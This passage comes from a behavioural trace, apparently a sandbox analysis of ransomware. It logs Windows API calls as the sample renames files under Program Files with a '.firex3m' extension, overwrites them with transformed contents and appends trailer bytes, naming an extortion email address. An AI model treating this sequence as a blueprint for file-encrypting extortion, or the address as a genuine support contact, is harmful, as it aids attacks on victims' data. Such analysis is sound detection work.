files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.068] Sleep (dwMilliseconds=0x1) [0243.091] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-24.png", len=0x90 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-24.png") returned 1 [0243.091] GetProcessHeap () returned 0x630000 [0243.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5408) returned 0x6fe3bb0 [0243.091] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.093] Sleep (dwMilliseconds=0x1) [0243.100] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x78 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0243.100] GetProcessHeap () returned 0x630000 [0243.100] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f4) returned 0x6fe3bb0 [0243.100] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.116] Sleep (dwMilliseconds=0x1) [0243.151] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x72 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0243.151] GetProcessHeap () returned 0x630000 [0243.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5364) returned 0x6fe3bb0 [0243.152] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.242] Sleep (dwMilliseconds=0x1) [0245.778] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl", len=0x7b | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl") returned 1 [0245.778] GetProcessHeap () returned 0x630000 [0245.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e64) returned 0x6fe3bb0 [0245.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.809] CloseHandle (hObject=0x4b8) returned 1 [0245.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x640069, dwReserved1=0x31002d, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d53c0 [0245.810] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0245.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.810] GetProcessHeap () returned 0x630000 [0245.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x7477198 [0245.810] GetProcessHeap () returned 0x630000 [0245.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x747e768 [0245.810] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.810] ReadFile (in: hFile=0x4b8, lpBuffer=0x7477198, nNumberOfBytesToRead=0x75a0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477198*, lpNumberOfBytesRead=0x637ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0250.221] GetProcessHeap () returned 0x630000 [0250.221] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0250.221] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.221] WriteFile (in: hFile=0x4b8, lpBuffer=0x747e768*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747e768*, lpNumberOfBytesWritten=0x637ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0250.222] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.222] WriteFile (in: hFile=0x4b8, lpBuffer=0x7485d07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7485d07*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0250.222] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.222] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0250.222] CloseHandle (hObject=0x4b8) returned 1 [0250.222] GetProcessHeap () returned 0x630000 [0250.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747e768 | out: hHeap=0x630000) returned 1 [0250.222] GetProcessHeap () returned 0x630000 [0250.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7477198 | out: hHeap=0x630000) returned 1 [0250.222] GetProcessHeap () returned 0x630000 [0250.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0250.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0250.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b17ace5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x75cf, dwReserved0=0x9187496, dwReserved1=0x7477190, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d51c0 [0250.223] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0250.223] Sleep (dwMilliseconds=0x1) [0254.718] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF", len=0x6e | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF") returned 1 [0254.718] GetProcessHeap () returned 0x630000 [0254.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d9c) returned 0x6fe3bb0 [0254.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0254.719] CloseHandle (hObject=0x6d0) returned 1 [0254.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0254.720] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0254.720] GetProcessHeap () returned 0x630000 [0254.720] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x7278b10 [0254.720] GetProcessHeap () returned 0x630000 [0254.720] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x7279c68 [0254.721] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.721] ReadFile (in: hFile=0x6d0, lpBuffer=0x7278b10, nNumberOfBytesToRead=0x580, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7278b10*, lpNumberOfBytesRead=0x637ff0c*=0x580, lpOverlapped=0x0) returned 1 [0254.936] GetProcessHeap () returned 0x630000 [0254.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0254.936] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.936] WriteFile (in: hFile=0x6d0, lpBuffer=0x7279c68*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7279c68*, lpNumberOfBytesWritten=0x637ff0c*=0x580, lpOverlapped=0x0) returned 1 [0254.936] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.936] WriteFile (in: hFile=0x6d0, lpBuffer=0x727a1e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727a1e7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.936] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.936] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.936] CloseHandle (hObject=0x6d0) returned 1 [0254.936] GetProcessHeap () returned 0x630000 [0254.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7279c68 | out: hHeap=0x630000) returned 1 [0254.937] GetProcessHeap () returned 0x630000 [0254.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7278b10 | out: hHeap=0x630000) returned 1 [0254.937] GetProcessHeap () returned 0x630000 [0254.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0254.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5de73846, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5b3, dwReserved0=0x7ff, dwReserved1=0x7278b10, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4ec0 [0254.937] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0254.937] Sleep (dwMilliseconds=0x1) [0254.948] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM", len=0x6a | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM") returned 1 [0254.948] GetProcessHeap () returned 0x630000 [0254.948] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d5c) returned 0x6fe3bb0 [0254.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0254.959] CloseHandle (hObject=0x4dc) returned 1 [0254.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIXELE~1.FIR")) returned 0x6d5580 [0255.145] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0255.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0255.145] GetProcessHeap () returned 0x630000 [0255.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0255.145] GetProcessHeap () returned 0x630000 [0255.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0255.146] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.146] ReadFile (in: hFile=0x4dc, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0260.463] GetProcessHeap () returned 0x630000 [0260.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0260.464] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.464] WriteFile (in: hFile=0x4dc, lpBuffer=0x7219168*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0260.464] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.464] WriteFile (in: hFile=0x4dc, lpBuffer=0x7224567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224567*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0260.464] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.464] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0260.465] CloseHandle (hObject=0x4dc) returned 1 [0260.465] GetProcessHeap () returned 0x630000 [0260.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0261.056] GetProcessHeap () returned 0x630000 [0261.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0261.057] GetProcessHeap () returned 0x630000 [0261.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0261.240] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61315847, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd109, dwReserved0=0x9187496, dwReserved1=0x71803a0, cFileName="PIXEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIXELE~1.FIR")) returned 0x6d5400 [0261.241] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0261.241] Sleep (dwMilliseconds=0x1) [0261.250] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\9.jpg", len=0x7b | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\9.jpg") returned 1 [0261.250] GetProcessHeap () returned 0x630000 [0261.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, 